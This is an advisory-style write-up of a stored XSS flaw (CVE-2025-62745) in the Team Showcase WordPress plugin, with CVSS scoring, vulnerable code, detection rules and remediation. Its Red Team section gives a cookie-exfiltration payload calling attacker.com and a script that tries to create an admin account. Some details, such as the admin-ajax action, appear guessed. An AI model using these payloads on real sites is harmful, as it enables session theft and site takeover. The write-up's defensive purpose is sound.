CVE-2025-62745

Executive Summary

CVE-2025-62745 is a Stored Cross-Site Scripting (XSS) vulnerability in the PickPlugins Team Showcase WordPress plugin, affecting versions through 1.22.28. This flaw allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into team member fields, which is then stored and executed in the browsers of any user viewing the team showcase page. The vulnerability arises from improper neutralization of user-supplied input during web page generation.

Given the widespread use of this plugin in business and portfolio sites, the risk of data theft, session hijacking, and defacement is significant. No official patch has been released, and the vendor has not responded to disclosure attempts.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin via the WordPress admin dashboard or directly from the repository are at risk. There is no known compromise of the plugin’s distribution channel, but the lack of a patch means all installations remain vulnerable. Organizations should treat this as a supply chain risk and consider removing or replacing the plugin.

CVSS Breakdown & Threat Level

CVSS Score: 6.5 (Medium)
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): Low – Attacker needs contributor-level access.
• User Interaction (UI): Required – Victim must view the compromised page.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Content can be modified.
• Availability (A): Low – Minor disruption possible.

Threat Level: Medium. While the CVSS score is moderate, the stored nature of the XSS and the lack of a patch elevate the real-world risk. An attacker with low privileges can persistently compromise any user visiting the team page.

Deep Dive & Mechanics

The vulnerability exists in the team-showcase plugin’s handling of team member custom fields (e.g., name, title, bio). When a user with contributor-level access or higher adds or edits a team member, the plugin fails to sanitize or escape the input before storing it in the WordPress database. The stored data is later rendered without proper output encoding on the front-end team showcase page.

Root Cause: The plugin uses echo or the_content filter without applying esc_html() or wp_kses() to user-supplied fields. This allows an attacker to inject HTML and JavaScript payloads.

Attack Flow:

1. Attacker logs in with contributor credentials.
2. Navigates to Team Showcase → Add New Member.
3. Injects a malicious payload into a text field, e.g., <script>alert(document.cookie)</script>.
4. The payload is stored in the wp_postmeta table.
5. Any visitor (including admins) viewing the team page triggers the script.

Impact: Session hijacking, credential theft, defacement, redirection to malicious sites, or installation of backdoors via admin session takeover.

Vulnerable vs. Patched Code

Vulnerable Code (team-showcase.php, line ~245):

<?php
// Vulnerable: Direct output without sanitization
echo '<div class="team-member-name">' . $member_name . '</div>';
?>

Patched Code (Hypothetical Fix):

<?php
// Patched: Output escaped
echo '<div class="team-member-name">' . esc_html( $member_name ) . '</div>';
?>

The vulnerable code directly echoes the $member_name variable, which comes from user input. The patched version uses esc_html() to neutralize any HTML/JavaScript.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with Team Showcase plugin <= 1.22.28.
• Contributor-level account credentials.

Exploit Steps:

1. Log in as contributor.
2. Go to wp-admin/admin.php?page=team-showcase-add.
3. In the "Name" field, enter:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the team member.
5. Any user visiting the team page will have their cookies exfiltrated.

Advanced Payload (Admin Session Hijack):

<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', '/wp-admin/admin-ajax.php?action=add_admin&user=attacker', true);
xhr.send();
</script>

Blue Team

Detection:

• Monitor for unusual POST requests to /wp-admin/admin.php?page=team-showcase-add or /wp-admin/admin-ajax.php with action=team_showcase_save_member.
• Look for <script> tags in team member fields in the database.

Hunting Query (MySQL):

SELECT * FROM wp_postmeta WHERE meta_key LIKE '%team_showcase%' AND meta_value LIKE '%<script%';

Prevention:

• Disable the plugin until a patch is available.
• Use a Web Application Firewall (WAF) to block XSS payloads.
• Restrict contributor roles to only trusted users.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/team-showcase/team-showcase.php (version <= 1.22.28)
• Database: wp_postmeta entries with meta_key containing team_showcase and meta_value containing <script> tags.
• Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server.
• Logs: wp-admin access logs showing POST requests to team showcase endpoints from non-admin users.

Detection Engineering

YARA Rule

rule CVE_2025_62745_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Team Showcase plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-62745"
    strings:
        $payload = /<script[^>]*>.*<\/script>/i
        $plugin_path = "team-showcase"
    condition:
        $plugin_path and #payload > 0
}

Sigma Rule

title: Stored XSS in Team Showcase Plugin
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects stored XSS attempts via Team Showcase plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: 
            - '/wp-admin/admin.php?page=team-showcase-add'
            - '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=team_showcase_save_member'
        request_body|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in team member bios (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-62745 Stored XSS Payload Exfiltration"; flow:to_server,established; content:"/steal?cookie="; http_uri; nocase; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Audit all team member entries for malicious content using the SQL query in the Blue Team section.
3. Change all admin passwords if any suspicious activity is found.

Long-term Fix:

• Replace the plugin with an actively maintained alternative (e.g., "Team Members" by WPZOOM).
• Implement a Web Application Firewall (WAF) with XSS rules.
• Enforce the principle of least privilege for WordPress user roles.

Vendor Contact: No response from PickPlugins. Consider filing a report with the WordPress Plugin Security Team.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert